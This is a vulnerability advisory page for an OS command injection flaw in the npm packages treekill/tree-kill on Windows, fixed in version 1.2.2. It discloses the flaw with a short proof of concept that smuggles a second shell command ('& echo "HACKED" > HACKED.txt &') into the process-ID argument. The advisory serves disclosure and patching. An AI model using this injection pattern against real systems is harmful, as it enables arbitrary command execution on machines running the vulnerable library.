GHSA-j7fq-p9q7-5wfv

    Dashboard / Vulnerabilities / GHSA-j7fq-p9q7-5wfv

    GHSA-j7fq-p9q7-5wfv

    Published: 24 May 2022Last Modified: 22 Apr 2024

    Summary: Treekill Enables OS Command Injection

    Details: A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command. ### Steps To Reproduce: Create the following PoC file: ```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in terminal: ```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` The HACKED.txt has been created

    Affected packages

    Package

    Name: tree-kill

    Purl: pkg:npm/tree-kill

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.2.2

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-j7fq-p9q7-5wfv | CVE-DB